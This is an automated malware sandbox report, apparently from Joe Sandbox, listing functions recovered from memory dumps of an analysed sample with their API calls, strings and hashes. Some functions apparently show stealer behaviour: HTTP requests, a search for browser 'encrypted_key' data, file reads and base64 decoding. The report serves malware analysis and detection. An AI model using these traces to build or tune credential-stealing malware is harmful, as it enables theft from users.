API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d9a2d204ae3cf30d1d3f2fbe4a6ccb8ab2b878922105dc2f29b05ba408a5c214
Instruction ID: 68c62dba311db66b32b7416a0333270c17a4e450e25bb774f946465e2be6b648
Opcode Fuzzy Hash: d9a2d204ae3cf30d1d3f2fbe4a6ccb8ab2b878922105dc2f29b05ba408a5c214
Instruction Fuzzy Hash: A921E775600214EFDB01AFA5EC04B9E777AFB8A36DF114214FC1457740DB729C168BA9

Function 6C58C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C58C5A3
WideCharToMultiByte.KERNEL32 ref: 6C58C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C58C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C58CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C58CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C58CAA5

Strings

(null), xrefs: 6C58C596
0, xrefs: 6C58D30A

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 57e64d7ebccbbf1424af2315697832072130e7226318b8536dfeddbf179ea43c
Instruction ID: 1e3739cb52c119b578a0cb45f9d8c6afed85702062244d8c1c3a780f62502759
Opcode Fuzzy Hash: 57e64d7ebccbbf1424af2315697832072130e7226318b8536dfeddbf179ea43c
Instruction Fuzzy Hash: 76A1BF3060A3629FDB00DF28CD8475ABBF5AF89748F05892DE999D7741DB31E805CB86

Function 00DA52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D96280: InternetOpenA.WININET(00DB0DFE,00000001,00000000,00000000,00000000), ref: 00D962E1
Part of subcall function 00D96280: StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D96303
Part of subcall function 00D96280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D96335
Part of subcall function 00D96280: HttpOpenRequestA.WININET(00000000,GET,?,0194E4A0,00000000,00000000,00400100,00000000), ref: 00D96385
Part of subcall function 00D96280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D963BF
Part of subcall function 00D96280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D963D1

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DA5318
lstrlen.KERNEL32(00000000), ref: 00DA532F

Part of subcall function 00DA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DA8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00DA5364
lstrlen.KERNEL32(00000000), ref: 00DA5383
lstrlen.KERNEL32(00000000), ref: 00DA53AE

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Strings

ERROR, xrefs: 00DA530A
ERROR, xrefs: 00DA5432
ERROR, xrefs: 00DA54A9
ERROR, xrefs: 00DA546F
ERROR, xrefs: 00DA53B9

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8716d5ec361067a12618b4e4091aadf8bf6bcac4becf330747628886bc535f61
Instruction ID: db068f60ed3aeaf0384e69fa2ca59682ac1d1977926a78f6c7698621df272786
Opcode Fuzzy Hash: 8716d5ec361067a12618b4e4091aadf8bf6bcac4becf330747628886bc535f61
Instruction Fuzzy Hash: 25510A349101499BCB54FF78D992AEE7779EF12301F504218F8075A592EF34AB4ACBB2

Function 6C563480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C563492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C5634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C5634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C56350E
__Init_thread_footer.LIBCMT ref: 6C563522
__aulldiv.LIBCMT ref: 6C563552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C56357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C563592

Part of subcall function 6C59AB89: EnterCriticalSection.KERNEL32(6C5EE370,?,?,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284), ref: 6C59AB94
Part of subcall function 6C59AB89: LeaveCriticalSection.KERNEL32(6C5EE370,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C59ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C563508
kernel32.dll, xrefs: 6C5634EA

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6a77451faf26e41c859ae5e3155cddb24d481fdfca811e41f5e0dc7c649a5871
Instruction ID: 9694c89583586728abef7066fd19e2e42c38e6753a7dffb141668430c14750c4
Opcode Fuzzy Hash: 6a77451faf26e41c859ae5e3155cddb24d481fdfca811e41f5e0dc7c649a5871
Instruction Fuzzy Hash: 8F31C471B002059BDF44DFB9DC48AAA77B5FB4E309F12451AE501E3A60EB70A904CB64

Function 6C564480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5A4843,?), ref: 6C5645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5A4843,?), ref: 6C56468A
free.MOZGLUE(?,?,?,?,?,?,6C5A4843,?), ref: 6C5646C9
free.MOZGLUE(?), ref: 6C5646EF
free.MOZGLUE(?), ref: 6C564712
free.MOZGLUE(?), ref: 6C564735
free.MOZGLUE(?), ref: 6C564758
free.MOZGLUE(?), ref: 6C56477B
free.MOZGLUE(?), ref: 6C56479E

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: b084137590bdcd2b14210049cde7f6a673b05d23004df4ecb2e781c3ccbdf6d5
Instruction ID: 3fda34cae7bb87b8cdc4cb4ba9dce45e762f9eaeefba1a2e0a241542530be323
Opcode Fuzzy Hash: b084137590bdcd2b14210049cde7f6a673b05d23004df4ecb2e781c3ccbdf6d5
Instruction Fuzzy Hash: 5FB1D471A011508FDB18DE3DDCB476D77A2AF82328F184669E416DBFA6E7319C408B91

Function 00DA12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 58f60f5bbbc49e3087c34500d04f52bba5200d7cd97d23d7f2b7fab69e562b01
Instruction ID: cec21ab739cc8cdb4eaabeada62eb22474023aef9a62b087156a1b9912337a44
Opcode Fuzzy Hash: 58f60f5bbbc49e3087c34500d04f52bba5200d7cd97d23d7f2b7fab69e562b01
Instruction Fuzzy Hash: F5C1AFB690121C9BCB14EF60DC99FEA7379FB64300F004599E50AA7241EB34EA85DFB5

Function 00DA4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DA42EC
lstrcat.KERNEL32(?,0194EBC0), ref: 00DA430B
lstrcat.KERNEL32(?,?), ref: 00DA431F
lstrcat.KERNEL32(?,0194D9D0), ref: 00DA4333

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DA8D90: GetFileAttributesA.KERNEL32(00000000,?,00D91B54,?,?,00DB564C,?,?,00DB0E1F), ref: 00DA8D9F

Part of subcall function 00D99CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D99D39

Part of subcall function 00D999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D999EC
Part of subcall function 00D999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D99A11
Part of subcall function 00D999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D99A31
Part of subcall function 00D999C0: ReadFile.KERNEL32(000000FF,?,00000000,00D9148F,00000000), ref: 00D99A5A
Part of subcall function 00D999C0: LocalFree.KERNEL32(00D9148F), ref: 00D99A90
Part of subcall function 00D999C0: CloseHandle.KERNEL32(000000FF), ref: 00D99A9A

Part of subcall function 00DA93C0: GlobalAlloc.KERNEL32(00000000,00DA43DD,00DA43DD), ref: 00DA93D3

StrStrA.SHLWAPI(?,0194EC38), ref: 00DA43F3
GlobalFree.KERNEL32(?), ref: 00DA4512

Part of subcall function 00D99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D94EEE,00000000,00000000), ref: 00D99AEF
Part of subcall function 00D99AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D94EEE,00000000,?), ref: 00D99B01
Part of subcall function 00D99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D94EEE,00000000,00000000), ref: 00D99B2A
Part of subcall function 00D99AC0: LocalFree.KERNEL32(?,?,?,?,00D94EEE,00000000,?), ref: 00D99B3F

lstrcat.KERNEL32(?,00000000), ref: 00DA44A3
StrCmpCA.SHLWAPI(?,00DB08D1), ref: 00DA44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00DA44D2
lstrcat.KERNEL32(00000000,?), ref: 00DA44E5
lstrcat.KERNEL32(00000000,00DB0FB8), ref: 00DA44F4

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2b45c5f8521b9c880e834bd08fa560d7eb5cb67b3f848a7d83cf5789e488859b
Instruction ID: 96baf4de5500740ffc023c312ae4307b8e6050ff98263281a7be790b5d1343b8
Opcode Fuzzy Hash: 2b45c5f8521b9c880e834bd08fa560d7eb5cb67b3f848a7d83cf5789e488859b
Instruction Fuzzy Hash: B37132B6900208ABCB14EBB4DC86FEE7779AB89300F044599F60597181EA74DB49DFB1

Function 6C5CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C5CAC52
CreateFileMappingW.KERNEL32 ref: 6C5CAC7D
GetSystemInfo.KERNEL32 ref: 6C5CAC98
MapViewOfFile.KERNEL32 ref: 6C5CACB0
GetSystemInfo.KERNEL32 ref: 6C5CACCD
MapViewOfFile.KERNEL32 ref: 6C5CAD05
UnmapViewOfFile.KERNEL32 ref: 6C5CAD1C
CloseHandle.KERNEL32 ref: 6C5CAD28
UnmapViewOfFile.KERNEL32 ref: 6C5CAD37
CloseHandle.KERNEL32 ref: 6C5CAD43
CloseHandle.KERNEL32 ref: 6C5CAD67

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 436c719ecd8d013c114949bc4f518232c4f85c4163aeb71ee6aa7a6bc231dc92
Instruction ID: 46e8d0c2efb0d8233c99df4931eb383f4d8ca70000167c87c09d275d2ff486d0
Opcode Fuzzy Hash: 436c719ecd8d013c114949bc4f518232c4f85c4163aeb71ee6aa7a6bc231dc92
Instruction Fuzzy Hash: F73142B1A047458FDB40FF78DA4826EBBF0FF89305F02492DE99597211EB709448CB86

Function 6C5B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B8273), ref: 6C5B9D65
free.MOZGLUE(6C5B8273,?), ref: 6C5B9D7C
free.MOZGLUE(?,?), ref: 6C5B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5B9E0F
free.MOZGLUE(6C5B946B,?,?), ref: 6C5B9E24
free.MOZGLUE(?,?,?), ref: 6C5B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5B9EC8
free.MOZGLUE(6C5B946B,?,?,?), ref: 6C5B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5B9EF5

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 0ef77afd2f735b397b5149142f15dbdce782b4d423dda83a2549be551bd4b14f
Instruction ID: aedb8c671e8387a371a4021aae787c5667afebc3b76041c55e116a812b8faa38
Opcode Fuzzy Hash: 0ef77afd2f735b397b5149142f15dbdce782b4d423dda83a2549be551bd4b14f
Instruction Fuzzy Hash: B3719FB090AB41CFD712CF18C89059BF7F4FFA9315B448659E85A6B701EB30E885CB91

Function 6C5C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5DC9
std::_Facet_Register.LIBCPMT ref: 6C5C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C5C5C8C,?,6C59E829), ref: 6C5C5E45

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 269391bf4b46e213ade326f95d15c5bed60529d6c62cf7b7b27996206274fe7f
Instruction ID: 8e3065e57b0a4d833e5dd8e842b8a28b355cb2c8404e7118b003701d1558c91d
Opcode Fuzzy Hash: 269391bf4b46e213ade326f95d15c5bed60529d6c62cf7b7b27996206274fe7f
Instruction Fuzzy Hash: C1417C747003058FCB00EFE5CC98AAE77B9EF89314F854169E6069B791EB34AD05CB66

Function 6C59CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5631A7), ref: 6C59CDDD

Strings

<jemalloc>, xrefs: 6C59CF9F, 6C59CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C59CFA4, 6C59CFB8

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 581e3f72d69a8824219f383edc0b883f04136950b74c177daa5337a78f7ae44d
Instruction ID: cb6af4a6a3dd7b99d8c88f2e02d2aac0ac86339aa04c5e313b9e94e63713cd12
